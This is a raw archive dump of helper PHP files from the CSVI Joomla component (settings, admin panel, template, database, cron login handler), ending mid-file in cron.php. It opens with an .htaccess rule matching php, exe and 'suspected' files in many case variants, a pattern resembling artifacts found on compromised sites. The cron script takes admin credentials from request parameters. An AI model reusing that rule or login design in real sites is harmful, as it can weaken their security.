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</FilesMatch>�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������file/.htaccess��������������������������������������������������������������������������������������0000666�����������������00000000177�15137667660�0007313 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
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</FilesMatch>�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������settings.php����������������������������������������������������������������������������������������0000666�����������������00000002312�15137667660�0007140 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * CSVI settings class
 *
 * @package 	CSVI
 * @author 		Roland Dalmulder
 * @link 		http://www.csvimproved.com
 * @copyright 	Copyright (C) 2006 - 2013 RolandD Cyber Produksi. All rights reserved.
 * @license 	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @version 	$Id: settings.php 2275 2013-01-03 21:08:43Z RolandD $
 */

defined( '_JEXEC' ) or die( 'Direct Access to this location is not allowed.' );

/**
 * The CSVI Config Class
 *
* @package CSVI
 */
class CsviSettings {

	/** @var array The parameter object */
	private $_params = false;

	public function __construct() {
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$query->select('params');
		$query->from('#__csvi_settings');
		$query->where('id = 1');
		$db->setQuery($query);
		$settings = $db->loadResult();
		$registry = new JRegistry();
		$registry->loadString($settings);
		$this->_params = $registry;
	}

	/**
	* Get a requested value
	*
	* @param string $setting the setting to get the value for
	* @param mixed $default the default value if no $setting is found
	*/
	public function get($setting, $default=false) {
		return $this->_params->get($setting, $default);
	}
}
?>����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������panel.php�������������������������������������������������������������������������������������������0000666�����������������00000010214�15137667660�0006377 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * CSVI Form helper
 *
 * @package 	CSVI
 * @author 		Roland Dalmulder
 * @link 		http://www.csvimproved.com
 * @copyright 	Copyright (C) 2006 - 2013 RolandD Cyber Produksi. All rights reserved.
 * @license 	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @version 	$Id: panel.php 2275 2013-01-03 21:08:43Z RolandD $
 */

defined( '_JEXEC' ) or die( 'Direct Access to this location is not allowed.' );

$jinput = JFactory::getApplication()->input;
// Check if we are running cron, no need to show the panel
if (!$jinput->get('cron', false, 'bool')) {
	
	$helper = new CsviHelper();
	$buttons = $helper->getButtons();
	// Create the top slider
	$topmenu = '<div id="panel-container"><div id="slide-menu">
					<div id="top-panel"><div id="main">
		<div id="cpanel">';
	$topmenu .= $buttons->process;
	$topmenu .= $buttons->replacements;
	$topmenu .= $buttons->log;
	$topmenu .= $buttons->maintenance;
	$topmenu .= $buttons->availablefields;
	$topmenu .= '</div></div></div>
					<div id="sub-panel">
						<a href="#" id="toggle"><span id="shText">'.JText::_('COM_CSVI_SHOW_PANEL').'</span></a>
					</div>
				</div></div>';
	$topmenu = preg_replace("/(\s\s+)/", ' ', $topmenu);
	?>
	<script type="text/javascript">
	jQuery(document).ready(function(){
		// Lets make the top panel toggle based on the click of the show/hide link
		jQuery("#sub-panel").live('click', function(){
			if (jQuery("#top-panel").is(":visible") == true) {
				// Toggle the bar up
				jQuery("#top-panel").hide();
			}
			else {
				// Toggle the bar up
				jQuery("#top-panel").show();
			}
			// Settings
			var el = jQuery("#shText");
			// Lets us know whats inside the element
			var state = jQuery("#shText").html();
			// Change the state
			state = (state == '<?php echo JText::_('COM_CSVI_SHOW_PANEL'); ?>' ? '<span id="shText"><?php echo JText::_('COM_CSVI_HIDE_PANEL'); ?></span>' : '<span id="shText"><?php echo JText::_('COM_CSVI_SHOW_PANEL'); ?></span>');
			// Finally change whats insdide the element ID
			el.replaceWith(state);
		}); // end sub panel click function
	
		// Add the slider to the top of the page
		jQuery('#border-top').prepend('<?php echo $topmenu; ?>');
	
	}); // end on DOM
	</script>
	<style type="text/css">
	#panel-container {
		position:relative;
		width: 655px;
		height:auto;
	}
	
	#slide-menu,#top-panel {
		width: 655px;
	
	
	}
	
	#slide-menu {
		position: fixed;
		margin: 0 0 0 -251px;
		left: 50%;
		z-index: 1000;
	}
	
	#top-panel {
		height: 125px;
		display: none;
		background: url(components/com_csvi/assets/images/panel_bg.png) bottom
		left no-repeat;
		padding-top: 14px;
		padding-left: 33px;
		
	}
	
	#sub-panel {
		text-align: center;
		position:absolute;
		bottom: -25px;
		right: 50px;
	}
	
	#sub-panel a {
	
		float: right;
		text-decoration: none;
		margin-right: 35px;
		font-weight: bold;
		width: 109px;
		height: 30px;
		line-height: 27px;
		background: url(components/com_csvi/assets/images/label_open.png) top left no-repeat; color:#333;
		text-align:center;
		color: #3d728e;
	
	}
	
	#sub-panel a:hover {
	
		background: url(components/com_csvi/assets/images/label_open_hover.png) top left no-repeat;
	}
	
	#sub-panel a span {
		padding-right: 8px;
		display: block;
		font-size: 11px;
		text-transform:uppercase;
	}
	
	#sub-panel_close {
		text-align: center;
		position:absolute;
		bottom: -25px;
		right: 50px;
	}
	
	#sub-panel_close a {
	
		float: right;
		text-decoration: none;
		margin-right: 35px;
		font-weight: bold;
		width: 109px;
		height: 30px;
		line-height: 27px;
		background: url(components/com_csvi/assets/images/label_close.png) top left no-repeat; color:#333;
		text-align:center;
		color:#3d728e;
	
	}
	
	#sub-panel_close a:hover {
	
		background: url(components/com_csvi/assets/images/label_close_hover.png) top left no-repeat;
	}
	
	#sub-panel_close a span {
		padding-right: 8px;
		display: block;
		font-size: 11px;
		text-transform:uppercase;
	}
	
	
	.face {
		border: solid 2px #a6c34e;
		margin-left: 10px;
		float: right;
	}
	
	:focus {
		outline: 0
	}
	</style>
<?php } ?>������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������com_virtuemart_config.php���������������������������������������������������������������������������0000666�����������������00000005054�15137667660�0011673 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * VirtueMart config class
 *
 * @author 		Roland Dalmulder
 * @link 		http://www.csvimproved.com
 * @copyright 	Copyright (C) 2006 - 2013 RolandD Cyber Produksi. All rights reserved.
 * @license 	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @version 	$Id: com_virtuemart_config.php 2315 2013-02-06 09:34:14Z RolandD $
 */

defined('_JEXEC') or die;

/**
 * The VirtueMart Config Class
 */
class CsviCom_VirtueMart_Config {

	private $_vmcfgfile = null;
	private $_vmcfg = array();

	public function __construct() {
		$this->_vmcfgfile = JPATH_ADMINISTRATOR.'/components/com_virtuemart/virtuemart.cfg';
		$this->_parse();

		// Load the version information
		if (file_exists(JPATH_ADMINISTRATOR.'/components/com_virtuemart/version.php')) {
			require_once JPATH_ADMINISTRATOR.'/components/com_virtuemart/version.php';
			$this->_vmcfg['release'] = vmVersion::$RELEASE;
		}
		else $this->_vncfg['release'] = null;
	}

	/**
	 * Finds a given VirtueMart setting
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access
	 * @param 		string $setting The config value to find
	 * @return 		mixed	value if found | false if not found
	 * @since		4.0
	 */
	public function get($setting) {
		if (isset($this->_vmcfg[$setting])) {
			return $this->_vmcfg[$setting];
		}
		else return false;
	}

	/**
	 * Parse the VirtueMart configuration
	 *
	 * Here is a PHP 5.3 requirement and work-around
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see 		http://www.php.net/parse_ini_string
	 * @access 		private
	 * @param
	 * @return
	 * @since 		4.0
	 */
	private function _parse() {
		// Parse the configuration file
		if (file_exists($this->_vmcfgfile)) {
			$config = file_get_contents($this->_vmcfgfile);
			// Do some cleanup
			$config = str_replace('#', ';', $config);

			// Check if the command is available
			if (!function_exists('parse_ini_string') ) {
				$array = array();
				$lines = explode("\n", $config );
				foreach( $lines as $line ) {
					$statement = preg_match(
							"/^(?!;)(?P<key>[\w+\.\-]+?)\s*=\s*(?P<value>.+?)\s*$/", $line, $match );

					if( $statement) {
						$key    = $match[ 'key' ];
						$value    = $match[ 'value' ];

						# Remove quote
						if( preg_match( "/^\".*\"$/", $value ) || preg_match( "/^'.*'$/", $value ) ) {
							$value = mb_substr( $value, 1, mb_strlen( $value ) - 2 );
						}

						$array[ $key ] = $value;
					}
				}
				$this->_vmcfg = $array;
			}
			else $this->_vmcfg = parse_ini_string($config);
		}
	}
}������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������csvidb.php������������������������������������������������������������������������������������������0000666�����������������00000002446�15137667660�0006562 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * CSV Improved Database class
 *
 * @author 		Roland Dalmulder
 * @link 		http://www.csvimproved.com
 * @copyright 	Copyright (C) 2006 - 2013 RolandD Cyber Produksi. All rights reserved.
 * @license 	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @version 	$Id: csvidb.php 2275 2013-01-03 21:08:43Z RolandD $
 */

defined( '_JEXEC' ) or die;

class CsviDb {

	private $_database = null;
	private $_error = null;

	public function __construct() {
		$this->_database = JFactory::getDbo();
	}

	public function setQuery($sql, $offset = 0, $limit = 0) {
		$this->_database->setQuery($sql, $offset, $limit);
		if (!$this->cur = $this->_database->query()) {
			$this->_error = $this->_database->getErrorMsg();
		}
	}

	public function getRow() {
		if (!is_object($this->cur)) $array = mysql_fetch_object($this->cur);
		else $array = $this->cur->fetch_object();
		if ($array) {
			return $array;
		}
		else {
			if (!is_object($this->cur)) mysql_free_result( $this->cur );
			else $this->cur->free_result();
			return false;
		}
	}

	public function getErrorMsg() {
		return $this->_error;
	}

	public function getNumRows() {
		return $this->_database->getNumRows($this->cur);
	}

	public function getQuery() {
		return $this->_database->getQuery();
	}
}��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������template.php����������������������������������������������������������������������������������������0000666�����������������00000013052�15137667660�0007116 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * CSVI Template helper
 *
 * @package 	CSVI
 * @author 		Roland Dalmulder
 * @link 		http://www.csvimproved.com
 * @copyright 	Copyright (C) 2006 - 2013 RolandD Cyber Produksi. All rights reserved.
 * @license 	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @version 	$Id: template.php 2275 2013-01-03 21:08:43Z RolandD $
 */

defined( '_JEXEC' ) or die( 'Direct Access to this location is not allowed.' );

/**
 * Helper class for templates
* @package CSVI
 */
class CsviTemplate {

	/** @var object contains the form data */
	private $_settings = array();
	private $_name = null;

	/**
	 * Construct the template helper
	 *
	 * @copyright
	 * @author		RolandD
	 * @todo
	 * @see
	 * @access		public
	 * @param
	 * @return
	 * @since		4.0
	 */
	public function __construct($data=null) {
		if (!is_null($data)) {
	 		$this->_settings = $data;
		}
	}

    /**
     * Find a value in the template
     *
     * @copyright
     * @author 		RolandD
     * @todo		JRequest::_cleanVar
     * @see 		JFilterInput
     * @access 		public
     * @param 		string	$name		the name of the parameter to find
     * @param 		string	$group		the group in which to find the parameter
     * @param		string	$default	the default value to use when not found
     * @param		string	$filter		the filter to apply
     * @param 		int 	$mask		Filter bit mask. 1=no trim: If this flag is cleared and the
	 * 									input is a string, the string will have leading and trailing whitespace
	 * 									trimmed. 2=allow_raw: If set, no more filtering is performed, higher bits
	 * 									are ignored. 4=allow_html: HTML is allowed, but passed through a safe
	 * 									HTML filter first. If set, no more filtering is performed. If no bits
	 * 									other than the 1 bit is set, a strict filter is applied.
	 * @param		bool	$special	if the field should require special processing
     * @return 		mixed	the value found
     * @since 		3.0
     */
    public function get($name, $group='', $default = '', $filter=null, $mask=0, $special=true) {
    	// Set the initial value
    	$value = '';

    	// Find the value
    	if (empty($group)) {
			if (array_key_exists($name, $this->_settings)) $value = $this->_settings[$name];
    	}
    	else {
			if (array_key_exists($group, $this->_settings)) {

				if (array_key_exists($name, $this->_settings[$group])) {
					$value = $this->_settings[$group][$name];
				}
			}
    	}

    	// Return the found value
    	if (is_array($value) && empty($value)) $value = $default;
    	else if ('' === $value) $value = $default;

    	// Special processing
    	if ($special) {
	    	switch ($name) {
	    		case 'language':
	    		case 'target_language':
	    			$value = strtolower(str_replace('-', '_', $value));
	    			break;
	    		case 'field_delimiter':
	    			if (strtolower($value) == 't') $value = "\t";
	    			break;
	    	}
    	}
    	
    	// Clean up and return
    	if (is_null($filter) && $mask == 0) return $value;
    	else return JRequest::_cleanVar($value, $mask, $filter);
    }

    /**
     * Set a value in the template
     *
     * @copyright
     * @author 		RolandD
     * @todo
     * @see
     * @access 		public
     * @param 		string	$name		the name of the parameter to find
     * @param 		string	$group		the group in which to find the parameter
     * @param		string	$value		the value to set
     * @return 		void
     * @since 		3.0
     */
    public function set($name, $group='', $value = '') {
    	// Set the value
    	if (empty($group)) {
			$this->_settings[$name] = $value;
    	}
    	else {
    		$this->_settings[$group][$name] = $value;
    	}
    }
    
    /**
     * Load a template 
     * 
     * @copyright 
     * @author 		RolandD
     * @todo 
     * @see 
     * @access 		public
     * @param 		int	$id	the ID of the template to load
     * @return 
     * @since 		4.0
     */
    public function load($id) {
    	if ($id > 0) {
	    	// Load the data
	    	$db = JFactory::getDbo();
	    	$query = $db->getQuery(true);
	    	$query->select($db->quoteName('settings').', '.$db->quoteName('name'));
	    	$query->from($db->quoteName('#__csvi_template_settings'));
	    	$query->where($db->quoteName('id').' = '.$db->quote($id));
	    	$db->setQuery($query);
	    	$data = $db->loadObject();
	    	
	    	// Fill the settings
	    	 $settings = json_decode($data->settings, true);
	    	 if (!is_array($settings)) $settings = array();
	    	 $this->_settings = $settings;
	    	
	    	// Set the name
	    	if (!empty($data)) $this->setName($data->name);
    	}
    }
    
    /**
     * Set the template name 
     * 
     * @copyright 
     * @author 		RolandD
     * @todo 
     * @see 
     * @access 		public
     * @param 		string	$name	the name of the template
     * @return 
     * @since 		4.0
     */
    public function setName($name) {
 	   // Set the template name
    	$this->_name = $name;
    }
    
    /**
     * Get the name of the template 
     * 
     * @copyright 
     * @author 		RolandD
     * @todo 
     * @see 
     * @access 		public
     * @param 
     * @return 
     * @since 		4.0
     */
    public function getName() {
    	return $this->_name;
    }
    
    /**
     * Return all settings 
     * 
     * @copyright 
     * @author 		RolandD
     * @todo 
     * @see 
     * @access 		public
     * @param 
     * @return 
     * @since 		4.0
     */
    public function getSettings() {
    	return $this->_settings;
    }
}
?>
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������com_akeebasubs.php����������������������������������������������������������������������������������0000666�����������������00000010651�15137667660�0010250 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Akeeba Subscriptions helper file
 *
 * @package 	CSVI
 * @author 		Roland Dalmulder
 * @link 		http://www.csvimproved.com
 * @copyright 	Copyright (C) 2006 - 2013 RolandD Cyber Produksi. All rights reserved.
 * @license 	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @version 	$Id: com_virtuemart.php 1779 2012-01-09 21:02:20Z RolandD $
 */

defined( '_JEXEC' ) or die( 'Direct Access to this location is not allowed.' );

/**
 * Akeeba Subscriptions helper file
 *
 * @package CSVI
 */
class Com_Akeebasubs {

	private $_csvidata = null;

	/**
	 * Constructor
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return
	 * @since 		4.0
	 */
	public function __construct() {
		$jinput = JFactory::getApplication()->input;
		$this->_csvidata = $jinput->get('csvi_data', null, null);
	}

	/**
	 * Get a user ID 
	 * 
	 * @copyright 
	 * @author 		RolandD
	 * @todo 
	 * @see 
	 * @access 		public
	 * @param 		string	$username	the username to find the ID for
	 * @return 		int	the ID of the user
	 * @since 		4.0
	 */
	public function getUser($username) {
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$query->select($db->quoteName('id'));
		$query->from($db->quoteName('#__users'));
		$query->where($db->quoteName('username').' = '.$db->quote($username));
		$db->setQuery($query);
		return $db->loadResult();
	}

	/**
	* Get a subscription ID
	*
	* @copyright
	* @author 		RolandD
	* @todo
	* @see
	* @access 		public
	* @param		string	$subscription_title	the name(s) of the subscription
	* @return
	* @since 		4.0
	*/
	public function getSubscription($subscription_title) {
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$query->select($db->quoteName('akeebasubs_level_id'));
		$query->from($db->quoteName('#__akeebasubs_levels'));
		$titles = explode(',', $subscription_title);
		$newtitles = array();
		foreach ($titles as $title) {
			$newtitles[] = $db->quote(trim($title));
		}
		if (!empty($newtitles)) {
			$query->where($db->quoteName('title').' IN ('.implode(',', $newtitles).')');
			$db->setQuery($query);
			$ids = $db->loadColumn();
			if (!empty($ids)) {
				return implode(',', $ids);
			}
		}
		else return '';
	}
	
	/**
	* Get the list of order users
	*
	* @copyright
	* @author		RolandD
	* @todo
	* @see
	* @access 		public
	* @param
	* @return 		array of objects
	* @since 		4.0
	*/
	public function getOrderUser() {
		$jinput = JFactory::getApplication()->input;
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$filter = $jinput->get('filter');
		$query->select($db->quoteName('user_id'));
		$query->select($db->quoteName('name', 'user_name'));
		$query->from($db->quoteName('#__akeebasubs_subscriptions', 's'));
		$query->leftJoin($db->quoteName('#__users', 'u').' ON '.$db->quoteName('s').'.'.$db->quoteName('user_id').' = '.$db->quoteName('u').'.'.$db->quoteName('id'));
		$query->where($db->quoteName('u').'.'.$db->quoteName('name').' LIKE '.$db->quote('%'.$filter.'%'));
		$query->order($db->quoteName('name'));
		$query->group($db->quoteName('user_id'));
		$db->setQuery($query, 0, 10);
		$users = $db->loadObjectList();
		if ($users) return $users;
		else return array();
	}
	
	/**
	 * Get the list of order products
	 *
	 * @copyright
	 * @author		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return 		array of objects
	 * @since 		4.0
	 */
	public function getOrderProduct() {
		$jinput = JFactory::getApplication()->input;
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$filter = $jinput->get('filter');
		$query->select($db->quoteName('s').'.'.$db->quoteName('akeebasubs_level_id', 'product_sku'));
		$query->select($db->quoteName('title', 'product_name'));
		$query->from($db->quoteName('#__akeebasubs_subscriptions', 's'));
		$query->leftJoin($db->quoteName('#__akeebasubs_levels', 'l').' ON '.$db->quoteName('s').'.'.$db->quoteName('akeebasubs_level_id').' = '.$db->quoteName('l').'.'.$db->quoteName('akeebasubs_level_id'));
		$query->where($db->quoteName('l').'.'.$db->quoteName('title').' LIKE '.$db->quote('%'.$filter.'%'));
		$query->order($db->quoteName('title'));
		$query->group($db->quoteName('s').'.'.$db->quoteName('akeebasubs_level_id'));
		$db->setQuery($query, 0, 10);
		$products = $db->loadObjectList();
		if ($products) return $products;
		else return array();
	}
	
}
?>���������������������������������������������������������������������������������������cron.php��������������������������������������������������������������������������������������������0000666�����������������00000026055�15137667660�0006253 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Cron handler
 *
 * @author 		Roland Dalmulder
 * @link 		http://www.csvimproved.com
 * @copyright 	Copyright (C) 2006 - 2013 RolandD Cyber Produksi. All rights reserved.
 * @license 	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @version 	$Id: cron.php 2298 2013-01-29 11:38:39Z RolandD $
 */

/**
 * Cron handler
 */
// Get the Joomla framework
define( '_JEXEC', 1 );
define( 'DS', '/' );
define('JPATH_BASE', substr(str_ireplace('components/com_csvi/helpers/cron.php', '', str_ireplace('\\', '/', __FILE__)), 0, -1));
define('JPATH_COMPONENT_ADMINISTRATOR', JPATH_BASE.'/components/com_csvi');
define('JPATH_COMPONENT', JPATH_COMPONENT_ADMINISTRATOR);

$parts = explode(DS, JPATH_BASE);
array_pop($parts);
define('JPATH_ROOT',			implode(DS, $parts));
define('JPATH_SITE',			JPATH_ROOT);
define('JPATH_CONFIGURATION',	JPATH_ROOT);
define('JPATH_ADMINISTRATOR',	JPATH_ROOT . '/administrator');
define('JPATH_LIBRARIES',		JPATH_ROOT . '/libraries');
define('JPATH_PLUGINS',			JPATH_ROOT . '/plugins');
define('JPATH_INSTALLATION',	JPATH_ROOT . '/installation');
define('JPATH_THEMES',			JPATH_BASE . '/templates');
define('JPATH_CACHE',			JPATH_BASE . '/cache');
define('JPATH_MANIFESTS',		JPATH_ADMINISTRATOR . '/manifests');

// Require files for the framework
require_once (JPATH_BASE.'/includes/framework.php' );
require_once (JPATH_LIBRARIES.'/joomla/environment/request.php' );
require_once (JPATH_BASE.'/includes/toolbar.php' );
require_once (JPATH_COMPONENT_ADMINISTRATOR.'/helpers/csvi.php');

// Load the cron details
$csvicron = new CsviCron();

// Create the Application
$mainframe = JFactory::getApplication('administrator');
$mainframe->initialise();

// Load the language file
$language = JFactory::getLanguage();
$language->load('com_csvi', JPATH_BASE.'/administrator');

// Load the plugin system
JPluginHelper::importPlugin('system');

// trigger the onAfterInitialise events
$mainframe->triggerEvent('onAfterInitialise');

// Run the cron job
$csvicron->runCron();

/**
 * Handles all cron requests
 *
* @package CSVI
 */
class CsviCron {

	/** @var $basepath string the base of the installation */
	var $basepath = '';

	/** @var $_variables array of user set variables to override template settins */
	var $_variables = '';

	/**
	 * Initialise the cron
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return
	 * @since 		3.5
	 */
	public function __construct() {
		// Merge the default translation with the current translation
		$jlang = JFactory::getLanguage();
		$jlang->load('com_csvi', JPATH_ADMINISTRATOR, 'en-GB', true);
		$jlang->load('com_csvi', JPATH_ADMINISTRATOR, $jlang->getDefault(), true);
		$jlang->load('com_csvi', JPATH_ADMINISTRATOR, null, true);

		// Get the domain name
		require_once(JPATH_COMPONENT_ADMINISTRATOR.'/helpers/settings.php');
		$settings = new CsviSettings();
		$domainname = $settings->get('site.hostname', 'www.example.com');
		// Check for the trailing slash at the domain name
		if (substr($domainname, -1) == '/') $domainname = substr($domainname, 0, -1);

		// Load the posted variables
		$this->CollectVariables();

		// Fill the server global with necessary information
		$_SERVER['REQUEST_METHOD'] = 'post';
		$_SERVER['HTTP_HOST'] = $domainname;
		$_SERVER['REMOTE_ADDR'] = gethostbyname('localhost');
		$_SERVER['SERVER_PORT'] = '';
		$_SERVER['HTTP_USER_AGENT'] = 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0) Gecko/20100101 Firefox/4.0';
		$_SERVER['REQUEST_URI'] = '/administrator/index.php';
		$_SERVER['QUERY_STRING'] = '';
		$_SERVER['PHP_SELF'] = '/index.php';
		$_SERVER['SCRIPT_NAME'] = '/index.php';
		if (isset($this->_variables['adminpw'])) {
			$_SERVER['QUERY_STRING'] = $this->_variables['adminpw'];
			$_SERVER['REQUEST_URI'] .= '?'.$this->_variables['adminpw'];
		}
	}

	/**
	 * Initialise some settings
	 */
	public function runCron() {
		// Buffer all output to prevent conflicts with external software
		ob_start();
		// Start the clock
		$starttime = time();
		$db = JFactory::getDbo();

		// First check if we deal with a valid user
		if ($this->Login()) {
			// Set some global values
			$jinput = JFactory::getApplication()->input;
			$jfilter = new JFilterInput();
			// Get the parameters
			require_once(JPATH_COMPONENT_ADMINISTRATOR.'/helpers/settings.php');
			$settings = new CsviSettings();

			// Check if we are running cron mode and set some necessary variables
			$_SERVER['SERVER_ADDR'] = $_SERVER['HTTP_HOST'] = $settings->get('site.hostname');
			$_SERVER['SCRIPT_NAME'] = '/index.php';
			$_SERVER['REQUEST_URI'] = '/';
			$_SERVER['PHP_SELF'] = '/index.php';

			// Get the task to do
			if (isset($this->_variables['task'])) $task = $jfilter->clean($this->_variables['task']);
			else $task = '';

			// Perform the requested task
			switch ($task) {
				case 'maintenance':
					$jinput->set('task', 'maintenance.'.$this->_variables['operation']);
					// Fire CSVI VirtueMart
					$this->ExecuteJob();
					break;
				default:
					// Second check if any template is set to process
					if (array_key_exists('template_id', $this->_variables)) $template_id = $jfilter->clean($this->_variables['template_id'], 'int');
					else $template_id = false;
					if (array_key_exists('template_name', $this->_variables)) $template_name = $jfilter->clean($this->_variables['template_name']);
					else $template_name = false;

					if ($template_id || $template_name) {
						// There is a template_id or template name, get some details to streamline processing
						$where = empty($template_id) ? 'name='.$db->q($template_name) : 'id='.$template_id;

						// There is a template name, get some details to streamline processing
						$q = "SELECT id AS template_id, name AS template_name, settings
							FROM #__csvi_template_settings
							WHERE ".$where;
						$db->setQuery($q);
						$row = $db->loadObject();

						if (is_object($row)) {
							echo JText::sprintf('COM_CSVI_PROCESSING_STARTED', date('jS F Y, g:i a'))."\n";
							echo JText::sprintf('COM_CSVI_TEMPLATE', $row->template_name)."\n";
							// Set the template ID
							$jinput->set('select_template', $row->template_id);
							$jinput->set('template_id', $row->template_id);
							$jinput->set('template_name', $row->template_name);

							// Set the settings
							if (array_key_exists('jform', $this->_variables)) $settings = CsviHelper::arrayExtend(json_decode($row->settings, true), $this->_variables['jform']);
							else $settings = json_decode($row->settings, true);

							// Set some export settings
							if ($settings['options']['action'] == 'export') {
								// Export settings
								$jinput->set('task', 'exportfile.process');
								// Set export to
								if ($settings['general']['exportto'] == 'todownload') $settings['general']['exportto'] = 'tofile';
							}
							// Set some import settings
							else if ($settings['options']['action'] == 'import') {
								// Import settings
								$jinput->set('task', 'importfile.doimport');
								// Turn off preview
								$settings['general']['show_preview'] = 0;
							}
							// Set a view so VirtueMart is happy
							$jinput->set('view', 'products');

							// Post the settings
							$jinput->set('jform', $settings, 'post');

							// Fire CSVI
							$this->ExecuteJob();
						}
						else {
							if ($template_name) echo JText::sprintf('COM_CSVI_NO_TEMPLATE_FOUND', $template_name)."\n";
							else if ($template_id) echo JText::sprintf('COM_CSVI_NO_TEMPLATE_FOUND', $template_id)."\n";
						}
					}
					else echo JText::_('COM_CSVI_NO_TEMPLATE_SPECIFIED')."\n";
					break;
			}
		}
		else {
			$error = JError::getError();
			echo $error->message."\n";
		}
		echo sprintf(JText::_('COM_CSVI_PROCESSING_FINISHED'), date('jS F Y, g:i a'))."\n";
		$duration = time() - $starttime;
		if ($duration < 60) echo sprintf(JText::_('COM_CSVI_PROCESSING_SECONDS'), $duration)."\n";
		else echo sprintf(JText::_('COM_CSVI_PROCESSING_MINUTES'), (number_format($duration/60, 2)))."\n";
		// Done, lets log the user out
		$this->UserLogout();

		// Display any generated messages
		$messages = ob_get_contents();
		@ob_end_clean();
		echo $messages;
	}

	/**
	 * Collect the variables
	 *
	 * Running from the command line, the variables are stored in $argc and $argv.
	 * Here we put them in $_REQUEST so that they are available to the script
	 */
	private function CollectVariables() {
		$arguments = false;
		// Take the argument values and put them in $_REQUEST
		if (isset($_SERVER['argv'])) {
			foreach ($_SERVER['argv'] as $key => $argument) {
				if ($key > 0) {
					list($name, $value) = explode("=", $argument);
					if (strpos($value, '|')) $value = explode('|', $value);
					if (strpos($name, ':')) {
						$names = explode(':', $name);
						if (count($names) == 3 && $names[0] == 'jform') {
							$this->_variables['jform'][$names[1]][$names[2]] = $value;
						}
					}
					else $this->_variables[$name] = $value;
				}
			}
			$arguments = true;
		}

		// Get the _GET
		if (!empty($_GET)) {
			$this->_storeVariables($_GET);
			$arguments = true;
		}

		// Get the _POST
		if (!empty($_POST)) {
			$this->_storeVariables($_POST);
			$arguments = true;
		}
		if (!$arguments) echo JText::_('COM_CSVI_NO_ARGUMENTS')."\n";
	}

	/**
	 * Store the variables
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		private
	 * @param 		$vars	array	the variables to store
	 * @return
	 * @since 		3.2
	 */
	private function _storeVariables($vars) {
		foreach ($vars as $name => $value) {
			if (!empty($value)) {
				if (strpos($value, '|')) $value = explode('|', $value);
				if (substr($name, 0, 5) == 'jform') {
					if (strpos($name, ':')) $names = explode(':', $name);
					else $names = explode('_', $name);
					if (count($names) == 3 && $names[0] == 'jform') {
						$this->_variables['jform'][$names[1]][$names[2]] = $value;
					}
				}
				else $this->_variables[$name] = $value;
			}
		}
	}

	/**
	* Check if the user exists
	*/
	private function Login() {
		$mainframe = JFactory::getApplication();
		$jfilter = new JFilterInput();
		$credentials['username'] = $jfilter->clean($this->_variables['username'], 'username');
		$credentials['password'] = $jfilter->clean($this->_variables['passwd']);

		$result = $mainframe->login($credentials, array('entry_url' => ''));

		if (!JError::isError($result)) {
			return true;
		}
		else return false;
	}

	/**
	* Process the requested job
	*/
	function ExecuteJob() {
		$jinput = JFactory::getApplication()->input;
		$jinput->set('cron', true);
		require(JPATH_COMPONENT_ADMINISTRATOR.'/csvi.php');
	}

	/**
	 * Log the user out
	 */
	private function UserLogout() {
		global $mainframe;
		ob_start();
		$error = $mainframe->logout();

		if(JError::isError($error)) {
			ob_end_clean();
			echo JText::_('COM_CSVI_PROBLEM_LOGOUT_USER')."\n";
		}
		else {
			ob_end_clean();
